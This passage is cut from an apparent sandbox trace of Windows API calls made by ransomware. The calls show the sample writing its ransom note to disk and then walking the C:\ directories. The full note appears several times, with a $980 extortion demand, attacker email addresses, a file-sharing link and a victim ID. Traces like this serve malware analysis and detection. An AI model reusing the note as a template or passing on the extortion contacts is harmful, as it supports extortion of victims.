lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0111.367] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b1ce48 [0111.367] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x85d) returned 0x7b1d710 [0111.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b1d710, cbMultiByte=2141, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 1118 [0111.367] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b1df78 [0111.367] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1d710 | out: hHeap=0x5010000) returned 1 [0111.367] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1ce48 | out: hHeap=0x5010000) returned 1 [0111.367] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned 1117 [0111.367] WriteFile (in: hFile=0x618, lpBuffer=0x7b1df78*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x825fb64, lpOverlapped=0x0 | out: lpBuffer=0x7b1df78*, lpNumberOfBytesWritten=0x825fb64*=0x45d, lpOverlapped=0x0) returned 1 [0111.368] CloseHandle (hObject=0x618) returned 1 [0111.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1df78 | out: hHeap=0x5010000) returned 1 [0111.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c630 | out: hHeap=0x5010000) returned 1 [0111.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14928 | out: hHeap=0x5010000) returned 1 [0111.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.369] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7a427a0 [0111.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.369] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.369] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35b50 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.370] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e10 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.370] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0111.370] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0111.370] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x54) returned 0x7a31720 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a427e0 | out: hHeap=0x5010000) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.370] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.370] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.370] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e10 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a31720 | out: hHeap=0x5010000) returned 1 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.371] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc9521260, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0111.371] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.371] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc962bc00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0111.371] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.371] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.371] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.372] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa2501c20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa2501c20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e10 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e10 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.372] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.372] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.372] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.372] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.373] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16c) returned 0x7a617c0 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e48 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e10 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.373] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.374] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb15e24f0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0111.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 